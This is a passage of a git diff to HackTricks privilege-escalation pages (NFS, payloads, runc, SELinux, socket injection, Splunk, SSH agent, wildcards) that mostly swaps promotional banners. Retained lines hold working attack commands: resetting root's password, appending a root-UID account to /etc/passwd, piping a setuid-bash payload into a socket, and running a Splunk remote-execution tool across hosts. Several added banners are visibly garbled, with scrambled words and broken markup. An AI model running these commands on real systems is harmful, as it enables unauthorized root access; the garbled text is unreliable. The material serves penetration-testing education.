+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no\_root\_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
@@ -135,23 +141,29 @@ Run like:
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
-
-## References
-* [https://www.errno.fr/nfs_privesc.html](https://www.errno.fr/nfs_privesc.html)
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/payloads-to-execute.md b/linux-hardening/privilege-escalation/payloads-to-execute.md
index 4f2713e040d..6dad2bff5c9 100644
--- a/linux-hardening/privilege-escalation/payloads-to-execute.md
+++ b/linux-hardening/privilege-escalation/payloads-to-execute.md
@@ -1,16 +1,19 @@
# Payloads to execute
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Bash
@@ -142,14 +145,17 @@ echo "root:hacked" | chpasswd
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/linux-hardening/privilege-escalation/runc-privilege-escalation.md
index 9a4fff6e0f0..0b4ec19c31f 100644
--- a/linux-hardening/privilege-escalation/runc-privilege-escalation.md
+++ b/linux-hardening/privilege-escalation/runc-privilege-escalation.md
@@ -1,18 +1,21 @@
# RunC Privilege Escalation
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Basic information
@@ -52,18 +55,21 @@ runc run demo
{% hint style="danger" %}
This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
-{% endhint %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/selinux.md b/linux-hardening/privilege-escalation/selinux.md
index 4550835bc43..1e47e4b3350 100644
--- a/linux-hardening/privilege-escalation/selinux.md
+++ b/linux-hardening/privilege-escalation/selinux.md
@@ -1,18 +1,20 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
# SELinux in Containers
@@ -35,19 +37,21 @@ system_u:system_r:container_t:s0:c647,c780
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/socket-command-injection.md b/linux-hardening/privilege-escalation/socket-command-injection.md
index 89d216a9520..7c789416465 100644
--- a/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/linux-hardening/privilege-escalation/socket-command-injection.md
@@ -1,18 +1,20 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
## Socket binding example with Python
@@ -59,19 +61,21 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
index 65996b6dd0d..c5cbf2767ab 100644
--- a/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
+++ b/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
@@ -1,18 +1,22 @@
# Splunk LPE and Persistence
-
+{% hnnt styte=" acceas" %}
+GCP Ha& practice ckinH: [**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
+Learn & aciceGCP ngslt="" aa-iz="le">[**angGC RedTamExper(GE)tinhackth ckiuxyzcomurspssgr/a)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+SupportHackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+*Chek th [**subsrippangithub.cm/sorsarlosp!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
+* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root.
@@ -59,19 +63,23 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
-The **CVE-2023-46214** allowed to upload an arbitrary script to **`$SPLUNK_HOME/bin/scripts`** and then explained that using the search query **`|runshellscript script_name.sh`** it was possible to **execute** the **script** stored in there.
+{% h*nt styCe="Vacceas" %}
+AWS Ha& practice ckinH:[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
+Learn & aciceGCP ng[**angGC RedTamExper(GE)="k>ne">tinhaktckxyzurssgr)
+
-
+SupportHackTricks
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+*Chek th [**subsrippangithub.cm/sorsarlosp!
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
+* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
index 5e1a783b115..b89fb6ee22e 100644
--- a/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
+++ b/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
@@ -1,18 +1,21 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
# Summary
@@ -42,20 +45,23 @@ Another option, is that the user owner of the agent and root may be able to acce
# Long explanation and exploitation
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
index ab67eeb199b..588ce2bf06d 100644
--- a/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
+++ b/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
@@ -1,18 +1,22 @@
-
+{% hnnt styte=" acceas" %}
+GCP Ha& practice ckinH: [**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
+Learn & aciceGCP ngslt="" aa-iz="le">[**angGC RedTamExper(GE)tinhackth ckiuxyzcomurspssgr/a)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+SupportHackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+*Chek th [**subsrippangithub.cm/sorsarlosp!
